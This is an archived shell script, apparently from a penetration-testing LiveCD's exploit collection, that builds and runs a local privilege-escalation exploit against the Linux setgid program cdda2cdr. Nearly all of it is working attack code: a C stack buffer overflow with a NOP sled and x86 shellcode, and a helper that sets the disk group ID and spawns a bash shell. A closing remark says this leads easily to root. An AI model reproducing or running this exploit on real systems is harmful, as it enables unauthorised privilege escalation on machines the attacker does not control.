home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / cdda2x.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  2KB  |  102 lines

  1. #! /bin/sh
  2. #
  3. # Shell script for Linux x86 cdda2cdr exploit
  4. # Brock Tellier btellier@usa.net
  5. #
  6.  
  7. cat > /tmp/cdda2x.c <<EOF
  8.  
  9. /**
  10.  ** Linux x86 exploit for /usr/bin/cdda2cdr (sgid disk on some Linux distros)
  11.  
  12.  ** gcc -o cdda2x cdda2x.c; cdda2x <offset> <bufsiz>
  13.  ** 
  14.  ** Brock Tellier btellier@usa.net 
  15.  **/
  16.  
  17.  
  18. #include <stdlib.h>
  19. #include <stdio.h>
  20.  
  21. char exec[]= /* Generic Linux x86 running our /tmp program */
  22.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  23.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  24.   "\x80\xe8\xdc\xff\xff\xff/tmp/cd";
  25.  
  26.  
  27.  
  28. #define LEN 500
  29. #define NOP 0x90
  30.  
  31. unsigned long get_sp(void) {
  32.  
  33. __asm__("movl %esp, %eax");
  34.  
  35. }
  36.  
  37.  
  38. void main(int argc, char *argv[]) {
  39.  
  40. int offset=0;
  41. int i;
  42. int buflen = LEN;
  43. long int addr;
  44. char buf[LEN];
  45.  
  46.  if(argc > 3) {
  47.   fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
  48.  exit(0);
  49.  }
  50.  else if (argc == 2){
  51.    offset=atoi(argv[1]);
  52.  
  53.  }
  54.  else if (argc == 3) {
  55.    offset=atoi(argv[1]);
  56.    buflen=atoi(argv[2]);
  57.  
  58.  }
  59.  else {
  60.    offset=500;
  61.    buflen=500;
  62.  
  63.  }
  64.  
  65.  
  66. addr=get_sp();
  67.  
  68. fprintf(stderr, "Linux x86 cdda2cdr local disk exploit\n");
  69. fprintf(stderr, "Brock Tellier btellier@usa.net\n");
  70. fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
  71.  
  72. memset(buf,NOP,buflen);
  73. memcpy(buf+(buflen/2),exec,strlen(exec));
  74. for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4)
  75.  *(int *)&buf[i]=addr+offset;
  76.  
  77. execl("/usr/bin/cdda2cdr", "cdda2cdr", "-D", buf, NULL);
  78.  
  79.  
  80. /*
  81. for (i=0; i < strlen(buf); i++) putchar(buf[i]);
  82. */
  83.  
  84. }
  85.  
  86. EOF
  87.  
  88. cat > /tmp/cd.c <<EOF
  89. void main() { 
  90.     setregid(getegid(), getegid());
  91.     system("/bin/bash");
  92. }
  93. EOF
  94.  
  95. gcc -o /tmp/cd /tmp/cd.c
  96. gcc -o /tmp/cdda2x /tmp/cdda2x.c
  97. echo "Note that gid=6 leads to easy root access.."
  98. /tmp/cdda2x
  99.  
  100.  
  101.  
  102.